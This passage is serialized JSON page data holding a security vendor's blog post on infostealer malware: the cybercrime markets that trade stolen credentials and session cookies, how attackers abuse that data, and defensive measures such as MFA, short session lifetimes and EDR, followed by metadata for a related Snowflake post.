",{"data":162340,"content":162341,"nodeType":1570},{},[162342],{"data":162343,"content":162344,"nodeType":866},{},[162345],{"data":162346,"marks":162347,"value":162348,"nodeType":865},{},[],"Often (but not always) self-terminating once complete, leaving little trace on the victim machine and no ongoing behavior that might be detected. ",{"data":162350,"content":162351,"nodeType":866},{},[162352],{"data":162353,"marks":162354,"value":162355,"nodeType":865},{},[],"Infostealers are distributed in similar ways to other types of malware, such as:",{"data":162357,"content":162358,"nodeType":1616},{},[162359,162369],{"data":162360,"content":162361,"nodeType":1570},{},[162362],{"data":162363,"content":162364,"nodeType":866},{},[162365],{"data":162366,"marks":162367,"value":162368,"nodeType":865},{},[],"Delivery of malicious executable files via phishing emails or by having a victim download content from a malicious website. ",{"data":162370,"content":162371,"nodeType":1570},{},[162372],{"data":162373,"content":162374,"nodeType":866},{},[162375],{"data":162376,"marks":162377,"value":162378,"nodeType":865},{},[],"‘Drive-by’ style attacks where the victim has only to visit an infected website.",{"data":162380,"content":162381,"nodeType":866},{},[162382,162386,162395,162398,162407,162410,162419,162423,162432],{"data":162383,"marks":162384,"value":162385,"nodeType":865},{},[],"They’re typically spread via malvertising, P2P downloads, and deceptive software download sites. ",{"data":162387,"content":162389,"nodeType":889},{"uri":162388},"https://www.bleepingcomputer.com/news/security/fake-cheat-lures-gamers-into-spreading-infostealer-malware/",[162390],{"data":162391,"marks":162392,"value":162394,"nodeType":865},{},[162393],{"type":943},"Gaming forums",{"data":162396,"marks":162397,"value":2717,"nodeType":865},{},[],{"data":162399,"content":162401,"nodeType":889},{"uri":162400},"https://cybersecuritynews.com/facebook-account-hijack-malware/",[162402],{"data":162403,"marks":162404,"value":162406,"nodeType":865},{},[162405],{"type":943},"Facebook ads",{"data":162408,"marks":162409,"value":3476,"nodeType":865},{},[],{"data":162411,"content":162413,"nodeType":889},{"uri":162412},"https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube",[162414],{"data":162415,"marks":162416,"value":162418,"nodeType":865},{},[162417],{"type":943},"YouTube video descriptions",{"data":162420,"marks":162421,"value":162422,"nodeType":865},{},[]," are popular locations for malicious links, but recent examples also include ",{"data":162424,"content":162426,"nodeType":889},{"uri":162425},"https://www.bleepingcomputer.com/news/security/over-3-000-github-accounts-used-by-malware-distribution-service/",[162427],{"data":162428,"marks":162429,"value":162431,"nodeType":865},{},[162430],{"type":943},"complex malware distribution networks on GitHub",{"data":162433,"marks":162434,"value":162435,"nodeType":865},{},[]," – such as the recent campaign from ‘Stargazer Goblin’ with more than 3,000 fake accounts creating and promoting hundreds of fake repositories to increase their apparent legitimacy and make them more likely to appear on GitHub's trending section.",{"data":162437,"content":162438,"nodeType":972},{},[],{"data":162440,"content":162441,"nodeType":981},{},[162442],{"data":162443,"marks":162444,"value":162445,"nodeType":865},{},[],"Infostealers are key to the cybercrime ecosystem",{"data":162447,"content":162448,"nodeType":866},{},[162449,162453,162461],{"data":162450,"marks":162451,"value":162452,"nodeType":865},{},[],"After being stolen, ",{"data":162454,"content":162455,"nodeType":889},{"uri":162065},[162456],{"data":162457,"marks":162458,"value":162460,"nodeType":865},{},[162459],{"type":943},"infostealer data inevitably finds its way onto hacker forums and marketplaces",{"data":162462,"marks":162463,"value":162464,"nodeType":865},{},[],", both on the clearweb and darkweb. Popular infostealers have their own dedicated Telegram channels to advertise and sell stolen data. Private channels also exist, with the channel owner distributing tens of thousands of logs per week to a limited number of threat actors who pay $200-$400 for access to the channel. This allows them to get ‘first pick’ of stolen logs, which are later shared through public Telegram channels. ",{"data":162466,"content":162467,"nodeType":866},{},[162468,162472,162481],{"data":162469,"marks":162470,"value":162471,"nodeType":865},{},[],"Public data eventually makes its way onto services such as Have I Been Pwned (HIBP), which gives individuals and security teams some visibility of which credentials have been compromised. For example, ",{"data":162473,"content":162475,"nodeType":889},{"uri":162474},"https://www.troyhunt.com/telegram-combolists-and-361m-email-addresses/",[162476],{"data":162477,"marks":162478,"value":162480,"nodeType":865},{},[162479],{"type":943},"in June, Troy Hunt (creator of HIBP) wrote",{"data":162482,"marks":162483,"value":162484,"nodeType":865},{},[]," about the impact of channels like Telegram and the sale of combolists (username, password, login portal URL), after being sent 122GB of data scraped out of thousands of Telegram channels, containing 361M unique email addresses (of which 151M had never been seen in HIBP before). ",{"data":162486,"content":162487,"nodeType":866},{},[162488],{"data":162489,"marks":162490,"value":162491,"nodeType":865},{},[],"The cybercrime ecosystem is complex, with a developed supply chain and organizations fulfilling different roles as a result: from malware-as-a-service developers, to initial access brokers, to the operators that actually conduct the attacks (be they ransomware, data theft, etc.) – and many, many other roles in between. Sometimes, a single group and/or its affiliates will conduct the full chain, but this is far less common today. ",{"data":162493,"content":162494,"nodeType":866},{},[162495,162498,162507],{"data":162496,"marks":162497,"value":21,"nodeType":865},{},[],{"data":162499,"content":162501,"nodeType":889},{"uri":162500},"https://www.secureworks.com/research/the-growing-threat-from-infostealers",[162502],{"data":162503,"marks":162504,"value":162506,"nodeType":865},{},[162505],{"type":943},"Infostealers are often sold by malware developers to other attackers as a monthly subscription service.",{"data":162508,"marks":162509,"value":162510,"nodeType":865},{},[]," The price can range from $50 to over $1,000 USD per month for access to a stealer command and control (C2) server operated by the developer. The service often features a range of support functions, including multiple ways to view, download, and share stolen data. Self-hosted stealer C2 servers are also available and are usually sold for a flat fee. ",{"data":162512,"content":162513,"nodeType":866},{},[162514],{"data":162515,"marks":162516,"value":162517,"nodeType":865},{},[],"There’s also evidence that there is an element of target coordination – with one marketplace, Russian Market, allowing users to ‘preorder’ credentials for a $1,000 USD deposit from 2022. ",{"data":162519,"content":162520,"nodeType":866},{},[162521,162526],{"data":162522,"marks":162523,"value":162525,"nodeType":865},{},[162524],{"type":926},"So what? Well, there's evidently an abundance of breached data already online, and attackers have the tools readily available to have this pile grow exponentially bigger and more useful.",{"data":162527,"marks":162528,"value":162529,"nodeType":865},{},[]," It’s also probably more coordinated than we like to admit – a particularly intimidating prospect in the wake of Snowflake, which will no doubt have many criminals smelling blood in the water. ",{"data":162531,"content":162532,"nodeType":972},{},[],{"data":162534,"content":162535,"nodeType":981},{},[162536],{"data":162537,"marks":162538,"value":162539,"nodeType":865},{},[],"How can stolen data be abused by attackers? ",{"data":162541,"content":162542,"nodeType":866},{},[162543],{"data":162544,"marks":162545,"value":162546,"nodeType":865},{},[],"It’s pretty obvious that attackers getting access to all of your passwords and session cookies is bad, but there is a clear value hierarchy from a corporate security perspective. So, from highest to lowest risk:",{"data":162548,"content":162549,"nodeType":1616},{},[162550,162565,162580],{"data":162551,"content":162552,"nodeType":1570},{},[162553],{"data":162554,"content":162555,"nodeType":866},{},[162556,162561],{"data":162557,"marks":162558,"value":162560,"nodeType":865},{},[162559],{"type":926},"Stolen session cookies",{"data":162562,"marks":162563,"value":162564,"nodeType":865},{},[]," simply need to be imported into an attacker’s browser to resume an active session on an app. That means access can be gained without needing to enter a username and password, or pass any MFA checks. ",{"data":162566,"content":162567,"nodeType":1570},{},[162568],{"data":162569,"content":162570,"nodeType":866},{},[162571,162576],{"data":162572,"marks":162573,"value":162575,"nodeType":865},{},[162574],{"type":926},"Stolen usernames, passwords",{"data":162577,"marks":162578,"value":162579,"nodeType":865},{},[],", and login page URLs can be used to access any accounts that lack MFA. ",{"data":162581,"content":162582,"nodeType":1570},{},[162583],{"data":162584,"content":162585,"nodeType":866},{},[162586,162591],{"data":162587,"marks":162588,"value":162590,"nodeType":865},{},[162589],{"type":926},"Stolen autofill data",{"data":162592,"marks":162593,"value":162594,"nodeType":865},{},[]," can be used to gather other valuable information that could be useful for impersonating the victim when speaking to social engineering IT support staff, for example to reset or remove MFA.",{"data":162596,"content":162597,"nodeType":866},{},[162598],{"data":162599,"marks":162600,"value":162601,"nodeType":865},{},[],"Naturally, stolen session cookies are the most valuable prize, but they are often valid for only a limited time before the user must re-authenticate, and active sessions can often be terminated by security admins. Unfortunately, it’s not that uncommon for sessions to last for up to a month, or even sometimes indefinitely.",{"data":162603,"content":162604,"nodeType":866},{},[162605],{"data":162606,"marks":162607,"value":162608,"nodeType":865},{},[],"Stolen usernames and passwords are a different story. As the Snowflake breaches demonstrate, passwords can remain valid for years after a breach, particularly in the world of SaaS apps where mandatory password rotation is not as common as for a user’s primary domain account.",{"data":162610,"content":162611,"nodeType":866},{},[162612,162616,162623],{"data":162613,"marks":162614,"value":162615,"nodeType":865},{},[],"There’s also the problem of ",{"data":162617,"content":162618,"nodeType":889},{"uri":6710},[162619],{"data":162620,"marks":162621,"value":6715,"nodeType":865},{},[162622],{"type":943},{"data":162624,"marks":162625,"value":162626,"nodeType":865},{},[]," – where a local login with a username and password (and probably lacking MFA) can exist alongside other, more secure login methods such as SSO. Given the fact that many apps are self-adopted by users, these accounts continue to exist even when an app is subsequently added to SSO via the chosen IdP, meaning they can fly under the radar of security teams. ",{"data":162628,"content":162629,"nodeType":972},{},[],{"data":162631,"content":162632,"nodeType":981},{},[162633],{"data":162634,"marks":162635,"value":162636,"nodeType":865},{},[],"Should you be concerned about infostealers?",{"data":162638,"content":162639,"nodeType":866},{},[162640],{"data":162641,"marks":162642,"value":162643,"nodeType":865},{},[],"It’s commonly thought that infostealers are primarily a concern for unmanaged devices that lack security controls common to corporate IT, such as EDR. But there’s a couple of reasons why corporate users are also at risk:",{"data":162645,"content":162646,"nodeType":1317},{},[162647],{"data":162648,"marks":162649,"value":162650,"nodeType":865},{},[],"EDR can be bypassed",{"data":162652,"content":162653,"nodeType":866},{},[162654,162658,162667],{"data":162655,"marks":162656,"value":162657,"nodeType":865},{},[],"EDR is seen as the go-to solution for defending against infostealer malware. However, attackers are always looking for ways to get around security controls by obfuscating malicious behavior and evading signature-based checks. For example, ",{"data":162659,"content":162661,"nodeType":889},{"uri":162660},"https://thehackernews.com/2024/07/microsoft-defender-flaw-exploited-to.html",[162662],{"data":162663,"marks":162664,"value":162666,"nodeType":865},{},[162665],{"type":943},"a flaw in Microsoft Defender SmartScreen was recently exploited to deliver infostealer malware",{"data":162668,"marks":162669,"value":1615,"nodeType":865},{},[],{"data":162671,"content":162672,"nodeType":866},{},[162673],{"data":162674,"marks":162675,"value":162676,"nodeType":865},{},[],"Getting total coverage across your endpoint estate is notoriously difficult, if not totally unrealistic. Unless the malware is stopped on execution, then data will inevitably be stolen, and will continue to be taken until stopped (or it self-terminates). And once an attacker has stolen employee credentials or sessions, the credential stuffing and session hijacking attacks that come next won’t touch the endpoint. For those reasons, you can’t rely on EDR as a single line of defense against infostealers.",{"data":162678,"content":162679,"nodeType":1317},{},[162680],{"data":162681,"marks":162682,"value":162683,"nodeType":865},{},[],"Unmanaged devices such as BYOD or third-parties are vulnerable",{"data":162685,"content":162686,"nodeType":866},{},[162687],{"data":162688,"marks":162689,"value":162690,"nodeType":865},{},[],"Companies that support BYOD often have less secure configurations than those with fully managed devices. The same applies to third-party contractors, who often use their own devices to access company systems on a temporary basis. ",{"data":162692,"content":162693,"nodeType":866},{},[162694,162698,162705],{"data":162695,"marks":162696,"value":162697,"nodeType":865},{},[],"This issue was acutely felt in the Snowflake attacks: There is some suggestion that targeting key third-party suppliers – ",{"data":162699,"content":162700,"nodeType":889},{"uri":62047},[162701],{"data":162702,"marks":162703,"value":62053,"nodeType":865},{},[162704],{"type":943},{"data":162706,"marks":162707,"value":162708,"nodeType":865},{},[]," – yielded some of the access needed. It’s unclear what came first, but it’s possible (likely, even) that EPAM was identified as a target specifically because of its lucrative customer base – third-parties are a known weak point for red teamers, so it would be foolish to assume that attackers don’t also think this way. It’s possible too that EPAM were specifically targeted because of their Snowflake chops – adding another indicator that Snowflake was potentially a premeditated attack inspired by the availability of Snowflake credentials online. ",{"data":162710,"content":162711,"nodeType":1317},{},[162712],{"data":162713,"marks":162714,"value":162715,"nodeType":865},{},[],"Browser profiles can be synced across devices, increasing the blast radius",{"data":162717,"content":162718,"nodeType":866},{},[162719],{"data":162720,"marks":162721,"value":162722,"nodeType":865},{},[],"It’s not uncommon for employees to access their personal email accounts from company devices. When accessing any browser, you are typically prompted to sign in with your account credentials (e.g. your Google account). If a user signs into a browser on a company device with a personal account, you’re usually prompted to sync your account across devices. This usually means that any saved passwords, search history, and settings are shared across devices. ",{"data":162724,"content":162725,"nodeType":866},{},[162726],{"data":162727,"marks":162728,"value":162729,"nodeType":865},{},[],"Naturally, this means that if a personal device is compromised where you’re also logged into the browser profile, then an infostealer will be able to harvest information saved into that profile across devices.",{"data":162731,"content":162732,"nodeType":866},{},[162733],{"data":162734,"marks":162735,"value":162736,"nodeType":865},{},[],"Even when using separate browser profiles for work and personal, it’s easy for the two to converge, or to slip into using the wrong profile. Accessing personal accounts (or at least synchronizing data across accounts) is usually a workplace policy violation, but it’s unfortunately all too common. ",{"data":162738,"content":162739,"nodeType":866},{},[162740,162744,162753],{"data":162741,"marks":162742,"value":162743,"nodeType":865},{},[],"Previous vulnerabilities have exacerbated this problem, such as ",{"data":162745,"content":162747,"nodeType":889},{"uri":162746},"https://thehackernews.com/2024/01/malware-using-google-multilogin-exploit.html",[162748],{"data":162749,"marks":162750,"value":162752,"nodeType":865},{},[162751],{"type":943},"an exploit affecting Google MultiLogin to maintain access to synced accounts even after a password reset",{"data":162754,"marks":162755,"value":14251,"nodeType":865},{},[],{"data":162757,"content":162758,"nodeType":1317},{},[162759],{"data":162760,"marks":162761,"value":162762,"nodeType":865},{},[],"Are infostealers a bigger problem than credential phishing? ",{"data":162764,"content":162765,"nodeType":866},{},[162766],{"data":162767,"marks":162768,"value":162769,"nodeType":865},{},[],"The short answer is: No. The longer answer is: They are both part of the bigger problem of identity attacks, and attackers can wield both approaches simultaneously. ",{"data":162771,"content":162772,"nodeType":866},{},[162773],{"data":162774,"marks":162775,"value":162776,"nodeType":865},{},[],"While they are delivered to victims in similar ways to phishing links, most organizations are arguably better protected against infostealers than modern phishing attacks because endpoint security controls provide another layer of protection, in theory – whereas modern phishing attacks don’t necessarily involve the delivery of malware that executes on the device. ",{"data":162778,"content":162779,"nodeType":866},{},[162780],{"data":162781,"marks":162782,"value":162783,"nodeType":865},{},[],"Infostealers arguably provide more bang for the attacker’s buck, grabbing a stack of credentials and useful data in one go. In contrast, phishing is usually much more targeted, and involves the compromise of a narrower set of credentials – typically focusing on a particular site or app. ",{"data":162785,"content":162786,"nodeType":866},{},[162787,162791,162799,162803,162809],{"data":162788,"marks":162789,"value":162790,"nodeType":865},{},[],"It’s worth focusing on the TTP, not the particular tool being used: The attacker technique here is ",{"data":162792,"content":162793,"nodeType":889},{"uri":147580},[162794],{"data":162795,"marks":162796,"value":162798,"nodeType":865},{},[162797],{"type":943},"session cookie theft",{"data":162800,"marks":162801,"value":162802,"nodeType":865},{},[],", and subsequently session hijacking by importing the cookie into the attacker’s browser. Both infostealers and ",{"data":162804,"content":162805,"nodeType":889},{"uri":54386},[162806],{"data":162807,"marks":162808,"value":131771,"nodeType":865},{},[],{"data":162810,"marks":162811,"value":162812,"nodeType":865},{},[]," involve the theft of session tokens, and so are valid means to achieve this end. In fact, there’s nothing to stop threat groups from employing both simultaneously.",{"data":162814,"content":162818,"nodeType":912},{"target":162815},{"sys":162816},{"id":162817,"type":909,"linkType":910},"7fil6aaQDFfJGYUnQ14k10",[],{"data":162820,"content":162821,"nodeType":972},{},[],{"data":162823,"content":162824,"nodeType":981},{},[162825],{"data":162826,"marks":162827,"value":162828,"nodeType":865},{},[],"Infostealers in action",{"data":162830,"content":162831,"nodeType":866},{},[162832],{"data":162833,"marks":162834,"value":162835,"nodeType":865},{},[],"Check out the video demo below to see the attack chain in action from the point of an infostealer compromise, showing session cookie theft, reimporting the cookies into the attacker's browser, and evading policy-based controls in M365. It also shows the targeting of downstream apps that are usually accessed via SSO in the context of both a Microsoft Entra and Okta compromise.",{"data":162837,"content":162841,"nodeType":912},{"target":162838},{"sys":162839},{"id":162840,"type":909,"linkType":910},"4J7LqqjQX2W52AbmcVmjUt",[],{"data":162843,"content":162844,"nodeType":981},{},[162845],{"data":162846,"marks":162847,"value":162848,"nodeType":865},{},[],"What can organizations do about the infostealer threat? ",{"data":162850,"content":162851,"nodeType":866},{},[162852],{"data":162853,"marks":162854,"value":162855,"nodeType":865},{},[],"Security teams should have two main concerns:",{"data":162857,"content":162858,"nodeType":1616},{},[162859,162869],{"data":162860,"content":162861,"nodeType":1570},{},[162862],{"data":162863,"content":162864,"nodeType":866},{},[162865],{"data":162866,"marks":162867,"value":162868,"nodeType":865},{},[],"Data that is already out there from historical data dumps, but is still valid. ",{"data":162870,"content":162871,"nodeType":1570},{},[162872],{"data":162873,"content":162874,"nodeType":866},{},[162875],{"data":162876,"marks":162877,"value":162878,"nodeType":865},{},[],"Data in private channels that attackers could use in the future, that you are blind to. ",{"data":162880,"content":162881,"nodeType":866},{},[162882],{"data":162883,"marks":162884,"value":162885,"nodeType":865},{},[],"As always, the root-cause of the problem is a lack of meaningful visibility of what apps your employees are using (including those outside your IdP) and whether the associated identities are configured securely. ",{"data":162887,"content":162888,"nodeType":866},{},[162889],{"data":162890,"marks":162891,"value":162892,"nodeType":865},{},[],"A layered, defense-in-depth approach is required to resolve the issue, by:",{"data":162894,"content":162895,"nodeType":1616},{},[162896,162906,162916,162926],{"data":162897,"content":162898,"nodeType":1570},{},[162899],{"data":162900,"content":162901,"nodeType":866},{},[162902],{"data":162903,"marks":162904,"value":162905,"nodeType":865},{},[],"Deploying MFA across all your identities and apps, including any local logins that can’t be put behind SSO. ",{"data":162907,"content":162908,"nodeType":1570},{},[162909],{"data":162910,"content":162911,"nodeType":866},{},[162912],{"data":162913,"marks":162914,"value":162915,"nodeType":865},{},[],"Configuring time-limited session lifetimes for all apps to ensure that any stolen session tokens can only be used temporarily. ",{"data":162917,"content":162918,"nodeType":1570},{},[162919],{"data":162920,"content":162921,"nodeType":866},{},[162922],{"data":162923,"marks":162924,"value":162925,"nodeType":865},{},[],"Ensuring that employees don’t access or synchronize personal accounts on their work devices, as well as limiting non-work activities on their work device as much as possible.",{"data":162927,"content":162928,"nodeType":1570},{},[162929],{"data":162930,"content":162931,"nodeType":866},{},[162932],{"data":162933,"marks":162934,"value":162935,"nodeType":865},{},[],"Implementing a robust EDR/MDR solution to detect and respond to malware compromises on user devices. ",{"data":162937,"content":162938,"nodeType":866},{},[162939,162943,162948],{"data":162940,"marks":162941,"value":162942,"nodeType":865},{},[],"Organizations also have the option of investing in a commercial TI feed to detect and report data breaches affecting employees. But in our experience, these feeds contain ",{"data":162944,"marks":162945,"value":162947,"nodeType":865},{},[162946],{"type":926},"a lot ",{"data":162949,"marks":162950,"value":162951,"nodeType":865},{},[],"of false positives – so unless you have password visibility for employee accounts across apps, it’s going to waste a chunk of valuable time for you and your employees.",{"data":162953,"content":162954,"nodeType":866},{},[162955,162959,162967],{"data":162956,"marks":162957,"value":162958,"nodeType":865},{},[],"It would be remiss of us not to mention our recently released ",{"data":162960,"content":162961,"nodeType":889},{"uri":62386},[162962],{"data":162963,"marks":162964,"value":162966,"nodeType":865},{},[162965],{"type":943},"session token theft detection feature",{"data":162968,"marks":162969,"value":162970,"nodeType":865},{},[]," that identifies session token theft by adding telemetry to the user agent string – using the power of our browser agent to create a new high-fidelity signal for security teams. It can also be applied more generally to detect any session taking place in an unmanaged browser – so you can use it to spot unauthorized access to company apps in general, too.  ",{"data":162972,"content":162976,"nodeType":912},{"target":162973},{"sys":162974},{"id":162975,"type":909,"linkType":910},"3XgpqEGzZSD2J0uvnCg5D8",[],{"data":162978,"content":162979,"nodeType":1317},{},[162980],{"data":162981,"marks":162982,"value":162983,"nodeType":865},{},[],"What’s next for infostealers?",{"data":162985,"content":162986,"nodeType":866},{},[162987],{"data":162988,"marks":162989,"value":162990,"nodeType":865},{},[],"All the signs point to the fact that infostealers will continue being a useful tool in the attacker’s arsenal. The Snowflake attacks in particular are both a warning for defenders and encouragement for attackers. It's also a good reminder that while infostealers were once used to harvest things like VPN creds to pivot to the internal network, they're now largely used to target third-party services over the internet. ",{"data":162992,"content":162993,"nodeType":866},{},[162994],{"data":162995,"marks":162996,"value":162997,"nodeType":865},{},[],"To evade EDR, it’s likely that we’ll see a growing number of families and variants used by individual groups, or better ‘enterprise’ capabilities from malware-as-a-service vendors. ",{"data":162999,"content":163000,"nodeType":866},{},[163001,163005,163014,163018,163026],{"data":163002,"marks":163003,"value":163004,"nodeType":865},{},[],"One notable quirk is that, to date, infostealers have not really branched out from targeting browsers. Take the example of password manager apps – you would think this would be an obvious target, right? But, they’re not usually targeted (",{"data":163006,"content":163008,"nodeType":889},{"uri":163007},"https://securitysenses.com/posts/malware-targeting-password-managers",[163009],{"data":163010,"marks":163011,"value":163013,"nodeType":865},{},[163012],{"type":943},"with some exceptions",{"data":163015,"marks":163016,"value":163017,"nodeType":865},{},[],"). And when they do, ",{"data":163019,"content":163020,"nodeType":889},{"uri":163007},[163021],{"data":163022,"marks":163023,"value":163025,"nodeType":865},{},[163024],{"type":943},"they work by eavesdropping on the password manager’s browser extension in action",{"data":163027,"marks":163028,"value":163029,"nodeType":865},{},[]," – meaning they are intercepted one-at-a-time as the user uses them, rather than targeting the password manager directly and exporting the saved passwords all at once. It will be interesting to see whether these capabilities are added in the future. ",{"data":163031,"content":163032,"nodeType":866},{},[163033,163037,163046,163049,163058,163062,163071],{"data":163034,"marks":163035,"value":163036,"nodeType":865},{},[],"On the other hand, there are defensive security developments that could reduce the ability of attackers to leverage things like stolen session tokens, such as ",{"data":163038,"content":163040,"nodeType":889},{"uri":163039},"https://learn.microsoft.com/en-us/entra/identity/conditional-access/concept-token-protection",[163041],{"data":163042,"marks":163043,"value":163045,"nodeType":865},{},[163044],{"type":943},"Microsoft’s token binding feature in Entra",{"data":163047,"marks":163048,"value":11397,"nodeType":865},{},[],{"data":163050,"content":163052,"nodeType":889},{"uri":163051},"https://blog.chromium.org/2024/04/fighting-cookie-theft-using-device.html",[163053],{"data":163054,"marks":163055,"value":163057,"nodeType":865},{},[163056],{"type":943},"Google’s device bound session cookies",{"data":163059,"marks":163060,"value":163061,"nodeType":865},{},[],". Google also released an ",{"data":163063,"content":163065,"nodeType":889},{"uri":163064},"https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html?m=1",[163066],{"data":163067,"marks":163068,"value":163070,"nodeType":865},{},[163069],{"type":943},"app-bound encryption feature",{"data":163072,"marks":163073,"value":163074,"nodeType":865},{},[],", which adds additional protection against infostealers attempting to steal browser data in Chrome if the underlying Windows device is compromised. ",{"data":163076,"content":163077,"nodeType":866},{},[163078],{"data":163079,"marks":163080,"value":163081,"nodeType":865},{},[],"That said, mature versions of these controls are still years away, and while session cookie theft is a key risk of infostealers, it’s not the only risk – so alternative controls and mitigations remain valuable to security teams in the present. ",{"data":163083,"content":163087,"nodeType":912},{"target":163084},{"sys":163085},{"id":163086,"type":909,"linkType":910},"5loTnpvwGD3kaKMXBp23hZ",[],{"data":163089,"content":163090,"nodeType":866},{},[163091],{"data":163092,"marks":163093,"value":21,"nodeType":865},{},[],"What the rise of infostealers says about identity attacks","What the rise in popularity of infostealers tells us about the cybercrime ecosystem and the shift toward identity attacks. ","2024-07-31T00:00:00.000Z","what-the-rise-of-infostealers-says-about-identity-attacks",{"items":163099},[163100,163102],{"sys":163101,"name":7796},{"id":7795},{"sys":163103,"name":342},{"id":4642},{"items":163105},[163106],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":163107},{"url":7804},"blog/verified-stolen-credential-detection",{"json":163110},{"data":163111,"content":163112,"nodeType":1382},{},[163113],{"data":163114,"content":163115,"nodeType":866},{},[163116],{"data":163117,"marks":163118,"value":163119,"nodeType":865},{},[],"With our latest release, Push takes TI data with stolen credentials sourced from criminal forums and compares it to the actual credentials still being used across customer environments, alerting on validated true positives only to cut through the noise. ",{"id":80231,"publishedAt":163121},"2026-08-12T11:54:42.947Z",{"items":163123},[163124,163126],{"sys":163125,"name":126984},{"id":126983},{"sys":163127,"name":342},{"id":4642},{"items":163129},[163130,163132,163134,163136,163138,163140,163142,163144],{"sys":163131,"name":413,"slug":414,"tier":31},{"id":410},{"sys":163133,"name":297,"slug":298,"tier":31},{"id":294},{"sys":163135,"name":342,"slug":343,"tier":31},{"id":339},{"sys":163137,"name":422,"slug":423,"tier":45},{"id":419},{"sys":163139,"name":502,"slug":503,"tier":45},{"id":499},{"sys":163141,"name":333,"slug":334,"tier":45},{"id":330},{"sys":163143,"name":571,"slug":572,"tier":45},{"id":568},{"sys":163145,"name":457,"slug":458,"tier":45},{"id":454},"iApdE0oIwmuHDB7Gkd0e6PV9k1_LI70e7Y4KgbldUEE",{"id":163148,"title":62409,"authorsCollection":163149,"content":163154,"extension":228,"faqItemsCollection":163898,"faqTitle":59,"featured":6,"hashTags":59,"meta":163900,"metaTitle":163901,"ogImage":59,"postType":72060,"publishedDate":62411,"relatedBlogPostsCollection":163902,"slug":62412,"stem":166347,"subtitle":59,"summary":166348,"synopsis":62410,"sys":166359,"tagsCollection":166361,"topicsCollection":166365,"__hash__":166393},"blog/blog/snowflake-retro.json",{"items":163150},[163151],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":163152,"profilePicture":163153},[30152],{"url":7804},{"json":163155,"links":163844},{"data":163156,"content":163157,"nodeType":1382},{},[163158,163163,163179,163185,163191,163196,163199,163206,163212,163228,163238,163244,163250,163256,163340,163343,163350,163425,163430,163433,163440,163447,163453,163459,163466,163482,163488,163495,163501,163507,163514,163520,163526,163542,163547,163550,163557,163564,163570,163659,163665,163672,163678,163684,163689,163696,163702,163708,163714,163721,163727,163733,163739,163745,163750,163753,163760,163766,163796,163802,163817,163833,163838],{"data":163159,"content":163162,"nodeType":912},{"target":163160},{"sys":163161},{"id":61626,"type":909,"linkType":910},[],{"data":163164,"content":163165,"nodeType":866},{},[163166,163169,163176],{"data":163167,"marks":163168,"value":61634,"nodeType":865},{},[],{"data":163170,"content":163171,"nodeType":889},{"uri":61637},[163172],{"data":163173,"marks":163174,"value":61643,"nodeType":865},{},[163175],{"type":943},{"data":163177,"marks":163178,"value":61647,"nodeType":865},{},[],{"data":163180,"content":163181,"nodeType":866},{},[163182],{"data":163183,"marks":163184,"value":61654,"nodeType":865},{},[],{"data":163186,"content":163187,"nodeType":866},{},[163188],{"data":163189,"marks":163190,"value":61661,"nodeType":865},{},[],{"data":163192,"content":163195,"nodeType":912},{"target":163193},{"sys":163194},{"id":61666,"type":909,"linkType":910},[],{"data":163197,"content":163198,"nodeType":972},{},[],{"data":163200,"content":163201,"nodeType":981},{},[163202],{"data":163203,"marks":163204,"value":61678,"nodeType":865},{},[163205],{"type":926},{"data":163207,"content":163208,"nodeType":866},{},[163209],{"data":163210,"marks":163211,"value":61685,"nodeType":865},{},[],{"data":163213,"content":163214,"nodeType":866},{},[163215,163218,163225],{"data":163216,"marks":163217,"value":61692,"nodeType":865},{},[],{"data":163219,"content":163220,"nodeType":889},{"uri":15841},[163221],{"data":163222,"marks":163223,"value":61700,"nodeType":865},{},[163224],{"type":943},{"data":163226,"marks":163227,"value":14251,"nodeType":865},{},[],{"data":163229,"content":163230,"nodeType":7584},{},[163231],{"data":163232,"content":163233,"nodeType":866},{},[163234],{"data":163235,"marks":163236,"value":61714,"nodeType":865},{},[163237],{"type":926},{"data":163239,"content":163240,"nodeType":866},{},[163241],{"data":163242,"marks":163243,"value":61721,"nodeType":865},{},[],{"data":163245,"content":163246,"nodeType":866},{},[163247],{"data":163248,"marks":163249,"value":61728,"nodeType":865},{},[],{"data":163251,"content":163252,"nodeType":866},{},[163253],{"data":163254,"marks":163255,"value":61735,"nodeType":865},{},[],{"data":163257,"content":163258,"nodeType":1616},{},[163259,163268,163277,163286,163295,163304,163313,163322,163331],{"data":163260,"content":163261,"nodeType":1570},{},[163262],{"data":163263,"content":163264,"nodeType":866},{},[163265],{"data":163266,"marks":163267,"value":61748,"nodeType":865},{},[],{"data":163269,"content":163270,"nodeType":1570},{},[163271],{"data":163272,"content":163273,"nodeType":866},{},[163274],{"data":163275,"marks":163276,"value":61758,"nodeType":865},{},[],{"data":163278,"content":163279,"nodeType":1570},{},[163280],{"data":163281,"content":163282,"nodeType":866},{},[163283],{"data":163284,"marks":163285,"value":61768,"nodeType":865},{},[],{"data":163287,"content":163288,"nodeType":1570},{},[163289],{"data":163290,"content":163291,"nodeType":866},{},[163292],{"data":163293,"marks":163294,"value":61778,"nodeType":865},{},[],{"data":163296,"content":163297,"nodeType":1570},{},[163298],{"data":163299,"content":163300,"nodeType":866},{},[163301],{"data":163302,"marks":163303,"value":61788,"nodeType":865},{},[],{"data":163305,"content":163306,"nodeType":1570},{},[163307],{"data":163308,"content":163309,"nodeType":866},{},[163310],{"data":163311,"marks":163312,"value":61798,"nodeType":865},{},[],{"data":163314,"content":163315,"nodeType":1570},{},[163316],{"data":163317,"content":163318,"nodeType":866},{},[163319],{"data":163320,"marks":163321,"value":61808,"nodeType":865},{},[],{"data":163323,"content":163324,"nodeType":1570},{},[163325],{"data":163326,"content":163327,"nodeType":866},{},[163328],{"data":163329,"marks":163330,"value":61818,"nodeType":865},{},[],{"data":163332,"content":163333,"nodeType":1570},{},[163334],{"data":163335,"content":163336,"nodeType":866},{},[163337],{"data":163338,"marks":163339,"value":61828,"nodeType":865},{},[],{"data":163341,"content":163342,"nodeType":972},{},[],{"data":163344,"content":163345,"nodeType":981},{},[163346],{"data":163347,"marks":163348,"value":61839,"nodeType":865},{},[163349],{"type":926},{"data":163351,"content":163352,"nodeType":1616},{},[163353,163362,163371,163380,163389,163398,163407,163416],{"data":163354,"content":163355,"nodeType":1570},{},[163356],{"data":163357,"content":163358,"nodeType":866},{},[163359],{"data":163360,"marks":163361,"value":61852,"nodeType":865},{},[],{"data":163363,"content":163364,"nodeType":1570},{},[163365],{"data":163366,"conte